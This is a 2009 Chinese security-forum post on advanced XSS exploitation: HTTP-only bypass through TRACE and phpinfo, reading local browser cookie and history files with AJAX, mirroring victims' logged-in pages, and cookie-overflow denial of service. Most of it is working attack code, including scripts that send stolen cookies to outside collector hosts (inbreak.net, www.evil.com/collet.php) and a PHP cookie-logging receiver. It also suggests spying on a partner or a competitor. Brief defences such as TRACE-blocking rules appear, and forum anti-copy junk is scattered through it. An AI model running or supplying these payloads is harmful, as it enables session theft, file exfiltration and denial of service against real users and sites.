XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
/ ?7 t3 x% w) p% c本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
2 ^$ y/ d( u1 n) j+ l; ]9 `By racle@tian6.com
7 n3 J! \% _3 x" Phttp://bbs.tian6.com/thread-12711-1-1.html1 G0 t& n& w/ \
转帖请保留版权0 t0 k4 T6 I5 m4 w: Z
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" n, ]) t; t4 U" ~& B& K-------------------------------------------前言---------------------------------------------------------
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- y3 J2 z) l/ ` a' d# f本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:7 N2 H6 A' X! B* y+ g
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介' s. r: R7 F4 L
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
$ [9 i9 X; _. ?7 ^http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过" T9 q- l4 A) L4 l) c' V' \8 g
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF# x1 f" V- ~- D# n6 d0 N1 \
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
+ p5 z! Z) p) ?3 Khttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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/ E. t1 H+ N2 ~: \: e N9 Z7 \- g2 d1 Y希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.; e! E: d9 M* Y* I4 p, h! A
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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( Y/ |% {6 O6 J2 BBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大$ P$ x; V9 H0 ^( }6 D0 ^
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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" }; I) I5 e' {OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪* W( v. K/ t* s- F
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.' W2 Q! H% I2 C* U& _" |# T. x
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
8 [4 H8 q2 E+ |1 p/ h2 d) }复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.# s3 J* y( V0 Y" ^( E
我们在这里重点探讨以下几个问题:
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% l8 K: A n1 D3 L5 U& Q1 通过XSS,我们能实现什么?
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4 s' l( N) X; q* n2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 W1 t; F/ V( M/ Q ^3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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7 \- R) N7 Z$ q: i! b4 XSS漏洞在输出和输入两个方面怎么才能避免./ A1 c/ _$ p! b! A
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------------------------------------------研究正题----------------------------------------------------------; F6 [ }+ M3 I( W# A3 ^
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
8 }7 `- E- W; m2 j" h# i复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
" c/ V3 a7 i- S! k/ I复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
& R! L% v. @6 {6 s7 f) F1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.7 X) y- I% ]! Y k
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
* B( m5 M+ P, H& J6 C( a j1 u3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
1 J0 |& y2 D% D' M% C4:Http-only可以采用作为COOKIES保护方式之一.) ~6 l1 | s1 T* F
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- W w1 d* s& u/ U2 r# f(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)9 W `/ ?( Q( a# i0 _ O
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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* h8 n+ U) X, m- `) ` 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。5 N+ w) s3 W2 n
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( { A" z Q9 B6 G; i" n 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.* Y# k( s4 c9 `$ V. ?% m' f
复制代码IE6使用ajax读取本地文件 <script>6 L# J# ]- l, E
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function ajax_obj(){
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request = new XMLHttpRequest();4 a+ D$ F( u1 C; a
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} else if(window.ActiveXObject) {
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* F T( ~3 A# X9 |: w3 M5 O var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',) v7 m& N% F/ G3 q' l& i3 T
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 i* r& U5 S2 N6 f' ?* q
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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# i) J4 _( ^' R% j' T3 C; `. z t+ I if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");0 Y: N" T1 N4 y9 i
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return _x.responseText;
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alert(txt);+ G. E, H' H6 [' l. x; O1 }7 h
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* f% c( r( v- W复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){' ?! a4 R3 |) v
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request = new XMLHttpRequest();
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1 J* | u V* ~% } 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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8 K5 v; g# K/ _; v for(var i=0; i<versions.length; i++) {
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try {' U& u8 g; b; U' j; i3 }5 m; t
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J8 ?' Q7 x, ~# T. m' A } catch(e) {}
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}
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return request;8 i$ Q# F8 Y( i& B7 R
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");" {- e* E0 Q& l! ]8 W. w" `
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);! N4 |. V8 i; K1 q- a' \
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alert(txt);% j; F5 j+ |: ^
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</script>
9 ^0 ]: b) P# Y1 k2 a复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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+ E3 U8 Y, a5 r7 oChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<? ( p7 ?* {- \' O+ f5 f
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/* " B- B3 V& x4 A8 j$ u
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www.inbreak.net
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author voidloafer@gmail.com 2009-4-22 3 M! b0 R# A+ I# e( ?
, |9 X# s0 k6 E w& p A3 s http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); ) N# g5 C. z% [' B7 ?8 W* w$ d
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/*
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set header, so just download html file,and open it at local.
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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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8 C+ F7 e( f3 H0 U. d! N</form> $ [! \5 ^3 G: ^% P& \( m$ D$ f
/ z+ G2 m) w4 E3 r<script> 6 n f3 l' B. s. G
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function doMyAjax(user)
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, T8 v, y5 b, s+ kvar time = Math.random(); # r- [$ a. M% k+ z) t$ g+ C( I
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/* ; c) z4 ~# G" f3 _/ h* `& H
4 Y* h/ ^" O2 ^6 V9 {. hthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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startRequest(strPer); q- U. [+ Z" F5 L9 E
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! U" f+ x) a( j1 u
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) i" W" `1 I" S% M: @6 s
+ r$ p, u! f: v" D
& e4 J/ E8 V) _. h; U, ofunction Enshellcode(txt) ( G' @- v" S x( `2 B# s( \; v
5 \% v9 v% z% O1 ~
{ ' R4 s8 G7 c+ o9 F9 s+ Z
0 E1 H& s3 B7 g6 Avar url=new String(txt); 1 F% j0 {9 j+ {+ b# `# X! j8 _
/ Y2 ^# F( q& i2 G" f
var i=0,l=0,k=0,curl="";
* X3 p6 [; `. V/ [7 m
& T3 M. H' F0 Y* P9 e& D) K, O* Hl= url.length;
* v0 q; Q0 N% g7 K0 L/ A, m
2 c% f X8 P9 @8 D/ lfor(;i<l;i++){
: B" Y# }0 t- ]! K% d5 S
) s9 q6 z6 e+ r$ b! d. tk=url.charCodeAt(i);
9 h5 }: P0 U& e0 @' c
# U% t# S1 t& d* e) i7 h. ~if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 0 D% L* _" I. e$ s4 n
0 A6 J. C, `$ k* X J: h/ M2 @
if (l%2){curl+="00";}else{curl+="0000";} + P4 D- \/ h. }% w# E
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curl=curl.replace(/(..)(..)/g,"%u$2$1"); * }3 P4 R5 e1 `+ |. J. }
3 H% h3 E$ o/ a' T% W' x
return curl;
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3 q! E( ~6 i# @4 y D4 N" I5 ^% n
' ^5 J$ E4 _* v: w, c* N/ Evar xmlHttp; : [ I- |1 I1 O0 }" K! j' o# g) d' e' l
1 x4 I. l) H1 W9 L' ofunction createXMLHttp(){ 7 I+ h Y: u; ]4 p7 Z. Q1 k
) ?( a: n1 v! @4 L3 g9 C ]
if(window.XMLHttpRequest){
. R C/ \: f9 r) \# i9 U; K* l6 E l0 C0 {1 K2 H0 \( B- u
xmlHttp = new XMLHttpRequest();
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}
4 @9 |# @3 Q+ E2 ?1 u% k
5 b& d& ~; y5 P: n# q else if(window.ActiveXObject){ . A o+ ^9 q, l3 x
; d" D$ A# h2 o6 y& O( qxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); " ?1 h' t4 u" r( v
5 A9 x1 N& \0 o5 V0 U
} ; a: k7 ?5 ?5 Q# l
: C' N; g! ?. o T}
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8 i% c0 R( O4 `/ Q/ B7 R* ?# f' j4 n4 F' U. o: B
function startRequest(doUrl){
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9 r- s* V; H7 Z
2 d5 O) J( \; Q! j: E
createXMLHttp(); 0 N3 E$ i8 w* i' ?5 b
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! y, A6 [ B2 h& ~0 k1 R, W0 z xmlHttp.onreadystatechange = handleStateChange; ' m: L, c4 h P: V( c' {" I2 w, [% D
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' t( K4 j8 @( q& y" E- w
; C) | ~0 N2 l8 N xmlHttp.open("GET", doUrl, true); % j* v3 G' b8 V! i( p
( i% ~4 z3 Z! E, g: S) d
! |+ v* c# t' _" Y+ d
& ^7 \& Q7 E7 s1 l! t' [ xmlHttp.send(null); ; f! ^8 S: W ?
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8 ~1 S( r y8 H- l3 q3 R$ C- ]2 ?% u7 a2 h3 B. F0 _( U8 n. V
* Q* X4 M6 Y& S! K, j! C
$ p' V9 j" f% I8 ]- C}
' E5 W; [6 q& D/ N. ?: g& C* m1 J( U( J! C, r5 s" m
3 i; g$ ]6 ]6 E6 z/ H
8 W; ^) k2 U' D _% ~! @# Hfunction handleStateChange(){
- w0 S; O+ n2 }( m2 z j" ]
( |. D" k2 G) p% r. F. o$ y/ |( x if (xmlHttp.readyState == 4 ){ ( } {/ d, G# c* F4 Z/ Y# s
/ D. h! E# F% u
var strResponse = "";
" p& e7 P0 n: q4 ^7 L$ S0 J
" c( q& N9 g+ q setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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} ) e) d f# {; w2 g
3 |# B; Z2 Y, o5 |- ?! r" Z
} 4 w$ S1 t' H; P9 N! w7 {$ Z0 ~
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8 k. G8 u9 \" f& u# @, p) v' c( |2 V 8 `9 w- |: t a7 X7 c) W1 x" j4 ^+ e
' H- v3 V# G2 }; Q4 }function framekxlzxPost(text)
. V F Z+ v! G. ^. f. t
) o/ v+ T# q9 I$ ?{
! e* T: m7 f- X$ z0 @* \
# e% }+ @+ y) M/ u document.getElementById("input").value = Enshellcode(text);
8 o; C3 J0 p; f. ^: _7 ^
8 |! G( Z! O5 Q+ i+ `4 R- ? document.getElementById("form").submit();
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}
% {' z3 }7 z: ?9 `3 o8 j" i: ?% o/ T" ] i7 n1 ]
9 Z/ x' x \7 @' s. U2 b. _ {
3 b4 f, l' b! V3 k% x1 v" D4 DdoMyAjax("administrator"); ! s4 q4 h3 ^) P2 ~
) _1 @- o, v$ u+ D' h
7 a) ?; \# f' o% C9 x2 U2 Z
t6 a( b; W ~</script>
* U2 g. q' {1 s+ |5 @复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
0 g& j+ f' a" o" q* m' s# ]& l: ~1 C; P" {
var xmlHttp;
% j0 u: ^" I5 o/ r- J. h4 W' x
8 w5 F0 L3 R. U0 ffunction createXMLHttp(){ 9 A/ R; b! h7 V9 L! g8 U s
+ f6 ~" e( D w
if(window.XMLHttpRequest){ 4 M# p6 t/ b: ]
- t8 t" H1 z; Y" Q xmlHttp = new XMLHttpRequest(); 8 e" e* q- U; t% R5 b5 D2 v# |- T4 x
% a2 v# w* a4 m z3 H }
/ t4 S: {, `5 P
) ?# S. o9 [! R/ G# K9 l1 W; d else if(window.ActiveXObject){ 1 v6 G: P9 h9 y) ~( M
0 ?" e1 }& w1 _) |" G8 [
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 T7 k# K$ C' n* P# O! C' R9 z. p7 D( \. T; o+ Y ~! H
} 4 Z* s: y1 Z/ L& v( Z* l
1 l. f+ S5 J8 b; |}
$ H: Q6 ?" V5 L
/ X7 P; c- {# B0 f) Y! d2 L
6 \: O- h# I8 ?! o A, m
9 s6 J4 `# O6 Y+ c7 kfunction startRequest(doUrl){ $ u/ [* v1 l( v6 N9 v
5 J2 P; P1 V3 D
% H7 p6 Q6 x* ~9 f- D: S2 ?% z
9 t( i4 g1 B; r8 F) u8 ~+ Y
createXMLHttp(); % |5 l6 D5 u P# {" i; c
% m* u9 @$ I) \2 Y; p
" M8 G. |7 t E
) U# l. W ~2 L0 H( K% G xmlHttp.onreadystatechange = handleStateChange;
0 m' R* p4 L6 S2 e2 v {; b" Y, u3 c! P% W4 c$ \
V2 k. g$ n2 K4 b, M% G8 H" j* b! l; L, w K7 s
xmlHttp.open("GET", doUrl, true);
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8 L" H+ Y% g+ q6 t; |$ t, R" o! I0 y0 U u4 |* J
xmlHttp.send(null);
4 B6 R5 [: g8 z" }' x: ]; X5 @0 t; N5 E4 Y7 y7 A) V
; l# }- X1 t9 Y' i( E
% |) N2 e4 G( ~& w; t/ _9 x3 ~* j . m- u R2 L! T8 L" u! _
! B* C- Y" w( I& _% j8 i! \+ x) t6 Q}
% [- c3 Y. p @4 R# b- Z) m, g# o
3 G. F. |1 J( Y% E / k$ T+ k5 ^: h2 b
3 T! C! p# X( f& I. Bfunction handleStateChange(){
$ \! y! a, P/ a& R1 O3 j! T, W/ v/ i) I" b
if (xmlHttp.readyState == 4 ){
# i; z8 z: [5 E$ M9 D; w8 I( M8 e* u6 |9 s6 i; B L( @
var strResponse = ""; ; F' @; u% V. e6 \+ m" t
; z# M7 t- c* Z! F% c! }+ ]5 t
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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2 B" ], b9 W4 a0 l8 e" U
% s/ y( u- w7 D( F2 N. E0 p5 \ g& p: e6 C6 `' |3 B5 Q
}
) ?" f$ Y/ X8 I0 F4 g' }. k' U! Z- }1 x1 b% ]9 g6 e
} 9 ^ Y! `' C# [8 `* }: o8 C
* V) s, }$ }9 T
/ n5 i$ N$ X. u
! d" }8 u, o6 |' } M0 r# Nfunction doMyAjax(user,file)
7 V$ H5 @' D L& U, ]
0 E$ X1 D+ l% Q9 h6 V& [( r! F{ ; w7 N- W2 a: j6 ]0 U P4 x8 r
5 P. Q1 z9 y7 e' S
var time = Math.random(); # u6 N! ]' d# E' a& H$ s; L
! k: x+ Q' L- k1 C& v8 V 9 }( c" ~1 w5 K- i* S0 j0 Z
?1 d; o8 A. e! ] var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; : U( T4 T4 x) i+ r
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/ h; z3 ^3 v/ x/ K& G- P: [( q( v" ]" ^! c, I
startRequest(strPer); 3 i+ Q% s! T0 U% b; ~6 s' W
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9 q6 |/ U- E* i' D+ |& c, H6 P& ]
}
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0 c2 T) L* M; i- z( w
8 m% u; U$ {6 C8 |8 j. }2 O* G( N2 J0 q+ Z& J/ J
function framekxlzxPost(text) : K0 l/ Q7 B ]7 y7 t. _! }* W
H/ L. O1 L6 K& j7 b! v* v
{ j; w/ M9 w" p0 @1 J
8 Z f! t+ z, _- i4 B% L% `+ m
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
" |, M7 F' y+ ~/ L& U/ o# d& M G. q$ v( C& S+ u, T& v7 \
alert(/ok/); ?* m5 g# |4 i) A& k, L7 a3 P
9 O, m; s4 ]; P! ^& K0 B) p+ y}
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- b, m t- M; a3 Y% G
2 z- o$ G6 k; ]6 ]4 W) udoMyAjax('administrator','administrator@alibaba[1].txt');
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+ }6 L0 G+ }( j1 x0 C* V# x
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</script>
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" L8 ~0 p' P8 i+ d3 l
a.php$ k- L/ e7 o9 a1 u6 K
+ S3 A6 `" k% \% y& f3 I: Q! }& m3 ^) F3 q8 D: ?6 C
! F) v% i+ e, T1 q8 p' m<?php
5 V) s4 B y9 s: X5 b, x0 C( D4 Z" n6 v; H5 Y7 @, v
1 f' O. X& Y2 C3 O5 S5 B
; ?+ k: m6 x, X- ]; `, D/ K9 U$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; ! s6 E* R# d# s! Q9 v+ i
/ ?7 H5 g0 i3 ~
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 5 r% a$ C- a0 V1 {1 T1 |/ j0 K5 |
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* w8 Y/ W! M) P) l
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); , h; x% [( q+ W9 N
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fwrite($fp,$_GET["cookie"]);
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4 n* ~# r/ ^4 {! Hfclose($fp);
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?> ( S y' q& ~* f" |4 L& }
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
2 {' N# V! A0 M# U* Z. k: T9 ?利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.3 H! o4 p7 B2 ?- r, ^5 O
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);" j5 _8 C& `$ k8 n
/ _7 a: @. w% b$ }
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
* Y% U; T. E* o4 [' B* j$ x; H7 F! d/ S/ D
function getURL(s) {0 ~0 b/ ?! `6 q$ |6 c/ m2 l4 e
% b6 Y2 r& h" s1 R2 f' e ?
var image = new Image();
) u* I8 K5 ^ t7 ?* N0 P7 b
, m3 W) } s: f% Z- eimage.style.width = 0;
$ F: X* y1 `/ i( q9 V7 r; ]: l! ^2 W k0 C9 f
image.style.height = 0;9 Q1 }: A) |$ Q# ~. }! h8 F) ^( z
9 ]* x3 q2 P0 G$ Qimage.src = s;
$ F( I8 z! j6 N/ V6 T
8 T6 W2 ^8 k( k" ]}# V% A% F8 P7 Q: C8 U
; q! M6 k9 ?. H4 U6 @getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);" V M/ G9 S3 i
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.7 c. J& j/ t8 {$ A* x( _0 i
这里引用大风的一段简单代码:<script language="javascript">1 H# `$ O1 o/ R1 N9 x- R! H! M
" }5 i9 g# v4 A
var metastr = "AAAAAAAAAA"; // 10 A
8 V8 V) l6 F: Y0 C2 e/ t* }9 x& N) Z3 L
var str = "";' W$ I0 v8 Q9 y) g* s, d" {
C* p: I- R; A# N, vwhile (str.length < 4000){
1 c) {* _3 ^$ E! ?9 j y4 P
/ k# P* Q2 `" r1 I9 i# l" n! P6 } str += metastr;
. [2 {$ u/ Q) j4 T- a* l+ s# _2 c0 d1 O) _ R1 h
}. z8 t3 k5 O9 O
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% |# i8 ]5 b' R, w+ G
' g1 Q8 ?8 V! H/ e hdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html. r' H: H3 ~0 ?9 p6 ]
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
* t% v5 i, f3 O! r% n) c, Cserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1503 J, d1 I% z$ j I. n! h9 g
+ y. }) X& l$ R9 z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.' z# H+ \+ g3 }* T
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:
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' l8 d( V6 ^: ?, p什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
+ [8 t o4 R+ i以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
% ~+ z$ K5 V6 o
8 l% O* l6 |: ?8 j+ ~5 e A<!--
2 P( B4 r; D3 g: e9 E3 m" B- C& O( H p7 J4 z
function normalCookie() {
# d9 m0 v/ p f7 n) _/ V0 y! s
4 S5 t9 Y$ p3 M3 B# V, Hdocument.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);
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# i) }4 C2 s$ Y+ j$ |9 F}
6 {/ B" v! r5 o( q! L' ~; H
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& X* X s/ s6 g4 |
9 i5 d y; s6 `: `8 T4 R
]; G3 ?$ K; \4 b& o/ U. Cfunction httpOnlyCookie() { : O1 s5 w1 S! s+ g9 r; ~7 Z8 j
! A. h6 e" Y4 Ldocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}. |2 W) h/ l0 D% Y
7 R6 V7 e. s, w# v
8 T5 Q3 H k. W
2 M' T1 Q6 r( c* g- z2 q% E) ?//-->
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</script>
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$ ^# I' v2 J: T1 b; @1 }5 d' }
" S' h5 v4 R9 r6 m' p% M<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>: `* V9 E" P+ x" K% X0 k. o
8 X# n1 z9 _" B- t7 m<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
4 M5 c6 l9 ^- y8 |- @$ Y: W! k复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
# V' K* t- ]3 E4 ^) F
# U* ~- k' b8 k4 F; P# r7 w2 b s' _1 _& @' N) c7 e
# j0 J) ?0 o) M1 W3 X- n8 zvar request = false;
9 v) A* M' Y; l5 L$ n/ y7 O; Z# ~$ j( j2 d& t1 d/ f
if(window.XMLHttpRequest) {
: S0 {5 p9 }: V8 L6 I# O: A) b
T8 x+ L) y4 A; {- j5 { R( [ request = new XMLHttpRequest();6 ~1 z0 p1 f" D" q* }3 _
2 L* g! p0 s; Z9 p4 P% {
if(request.overrideMimeType) {
; e- a& P! v* I- P# s( O, o2 C9 Q6 a1 o
request.overrideMimeType('text/xml');
y1 `/ s x0 u/ m8 ?7 a# u% ?1 p
}
6 t# i4 X; {0 C' k
( p/ r( J2 j/ n } else if(window.ActiveXObject) {
9 H; t# m4 S% L4 O0 c! Y$ W% a, Y" |4 E5 I: |
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];0 |+ {& T$ E1 T0 v9 x C: m2 G
. Z8 r% ~4 t$ @
for(var i=0; i<versions.length; i++) {) l/ J0 K) o; O* @9 y: q+ H
. S% y* M! a. G1 ^3 n5 | try {% M3 O8 ^8 M b9 t' m
U% F$ E' f: a" m
request = new ActiveXObject(versions);
. A4 c9 v4 Y" h5 ]" l; E
) N& t9 b& Q X2 h- E } catch(e) {}
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}
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) Q- x' G0 w4 Y# |; UxmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);6 [0 b3 A% Q A/ a' N) M4 ?
. \7 W, z6 q) m6 m, C+ c7 L M" ~: i HxmlHttp.send(null);# ~8 X% m. e8 C3 }/ X, n: y# D
( r8 T) I# K! B; y/ i# h$ b. l8 ?xmlDoc=xmlHttp.responseText;
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4 i8 E! S, \0 U- Xalert(xmlDoc);! Q. N5 S. h ^0 L* e
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</script>, Z0 |- [8 W# ?7 y1 ~. b
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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4 n, F2 |& G7 ?9 D8 ^' u( X0 y6 Y ovar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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" _/ F- J+ G7 N* O( w; N5 bXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");$ a0 [- x. K) C: v% }% ?
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XmlHttp.send(null);
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+ Q! M% j3 M/ K5 g& _+ lvar resource=xmlHttp.responseText( I; t' j/ k5 E1 `3 x' v
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resource.search(/cookies/);6 G+ d/ l, ^, C& Y
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......................) p$ I. E9 h; A: y& T
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</script>
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5 m" `5 H& z# ~- h" M2 |/ T如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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( F; F# z, o2 e3 r0 O5 M" A' y[code]
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5 k7 z& y W0 F' \; CRewriteEngine On. D1 h: [1 J( t2 s
3 t- ], G* [* r" a, ]RewriteCond %{REQUEST_METHOD} ^TRACE; f& D3 W. F4 C* k. U ]2 c( o7 I
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RewriteRule .* - [F]
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G i* d8 Z! I( V* \: _5 K# {; n2 i
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE
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...
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7 }, ~4 o5 h: n7 y$ p! {# J% Khttp_access deny TRACE
1 G& z9 @2 q. Q X2 p. ^复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>! {- n- a+ [3 k- c9 g9 }1 N
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");: k& c& x0 n, ? N2 j
- B) K2 M5 M8 X1 b/ A: ZXmlHttp.open("GET","http://www.google.com",false);
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0 q( w, C, D$ s) u. i5 ]XmlHttp.setRequestHeader("Host","www.evil.com/collet.php"); z: S! @7 @8 W
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XmlHttp.send(null);
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</script>& \& \0 |7 A% V2 r
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>, l/ n* z! C/ t
